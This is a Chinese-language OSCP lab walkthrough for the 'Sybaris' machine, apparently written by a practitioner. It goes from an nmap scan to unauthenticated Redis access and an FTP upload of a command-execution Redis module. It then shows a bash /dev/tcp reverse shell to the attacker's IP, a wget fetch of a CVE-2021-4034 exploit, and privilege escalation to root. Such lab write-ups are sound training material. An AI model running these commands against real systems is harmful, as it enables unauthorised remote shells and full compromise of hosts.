OSCP靶场–Sybaris

考点(redis MODULE LOAD命令执行)

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.158.93 -sV -sC  -Pn --min-rate 2500 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-11 04:24 EDT
Nmap scan report for 192.168.158.93
Host is up (0.22s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE  SERVICE   VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp       vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0               6 Apr 01  2020 pub [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.195
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open   ssh       OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 21:94:de:d3:69:64:a8:4d:a8:f0:b5:0a:ea:bd:02:ad (RSA)
|   256 67:42:45:19:8b:f5:f9:a5:a4:cf:fb:87:48:a2:66:d0 (ECDSA)
|_  256 f3:e2:29:a3:41:1e:76:1e:b1:b7:46:dc:0b:b9:91:77 (ED25519)
53/tcp    closed domain
80/tcp    open   http      Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
| http-robots.txt: 11 disallowed entries 
| /config/ /system/ /themes/ /vendor/ /cache/ 
| /changelog.txt /composer.json /composer.lock /composer.phar /search/ 
|_/admin/
|_http-title: Sybaris - Just another HTMLy blog
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-generator: HTMLy v2.7.5
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.22
6379/tcp  open   redis     Redis key-value store 5.0.9
10091/tcp closed unknown
10092/tcp closed unknown
10093/tcp closed unknown
10094/tcp closed unknown
10095/tcp closed unknown
10096/tcp closed unknown
10097/tcp closed unknown
10098/tcp closed unknown
10099/tcp closed unknown
10100/tcp closed itap-ddtp
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.24 seconds

2.user priv

## 如果redis（<=5.0.5），可以使用redis-rogue-server自动获取 Redis 中的交互式 shell 或反向 shell。
https://github.com/n0b0dyCN/redis-rogue-server

##########
## redis可以匿名登陆：    info显示信息说明匿名登陆成功：                                                                                                                                                                              
┌──(root㉿kali)-[~/Desktop]
└─# redis-cli -h 192.168.158.93
192.168.158.93:6379> info
# Server
redis_version:5.0.9
redis_git_sha1:00000000

#######################
## redis写webshell不知道webroot目录，写公钥不知道公钥目录

##############################
## redis结合其他方式getshell,ftp上传module.so
## redis加载模块执行命令：
## 参考：
## https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module
##############

## 下载到kali编译：
## https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
## 得到：module.so 
┌──(root㉿kali)-[~/Desktop/RedisModules-ExecuteCommand-master]
└─# make 

## ftp匿名可登陆，并且目录可写，上传.so文件：
┌──(root㉿kali)-[~/Desktop]
└─# ftp 192.168.158.93
ftp> put module.so
local: module.so remote: module.so
229 Entering Extended Passive Mode (|||10100|).
150 Ok to send data.
100% |******************************************************************************************************************************************| 47824      217.58 KiB/s    00:00 ETA
226 Transfer complete.
47824 bytes sent in 00:00 (52.17 KiB/s)
ftp> pwd
Remote directory: /pub

####################
## 反弹shell:
┌──(root㉿kali)-[~/Desktop]
└─# redis-cli -h 192.168.158.93
192.168.158.93:6379> MODULE LOAD /var/ftp/pub/module.so
OK
192.168.158.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"
192.168.158.93:6379> system.exec "whoami"
"pablo\n"
192.168.158.93:6379> system.rev 192.168.45.195 80

## 反弹系统shell:
┌──(root㉿kali)-[~/Desktop]
└─# redis-cli -h 192.168.158.93
192.168.158.93:6379> MODULE LOAD /var/ftp/pub/module.so
OK
192.168.158.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"
192.168.158.93:6379> system.exec "which bash"
"/usr/bin/bash\n"
192.168.158.93:6379> system.exec "/bin/bash -i >& /dev/tcp/192.168.45.195/80 0>&1"

###########################
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 80 
listening on [any] 80 ...
192.168.158.93: inverse host lookup failed: Unknown host
connect to [192.168.45.195] from (UNKNOWN) [192.168.158.93] 56622
bash: no job control in this shell
[pablo@sybaris /]$ whoami
whoami
pablo
[pablo@sybaris /]$

3. root priv

## linpeas枚举：
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""


  *  *  *  *  * root       /usr/bin/log-sweeper

#######################
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 80
listening on [any] 80 ...
192.168.158.93: inverse host lookup failed: Unknown host
connect to [192.168.45.195] from (UNKNOWN) [192.168.158.93] 33594
bash: no job control in this shell
[pablo@sybaris /]$ cd /tmp
cd /tmp
[pablo@sybaris tmp]$ wget http://192.168.45.195:21/CVE-2021-4034.py

[pablo@sybaris tmp]$ chmod +x ./CVE-2021-4034.py
chmod +x ./CVE-2021-4034.py
[pablo@sybaris tmp]$ which python
which python
/usr/bin/python
[pablo@sybaris tmp]$ which python3
which python3
/usr/bin/which: no python3 in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin)
[pablo@sybaris tmp]$ python3 ./CVE-2021-4034.py
python3 ./CVE-2021-4034.py
bash: python3: command not found
[pablo@sybaris tmp]$ python ./CVE-2021-4034.py
python ./CVE-2021-4034.py
id
uid=0(root) gid=1000(pablo) groups=1000(pablo)

4.总结：

##
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis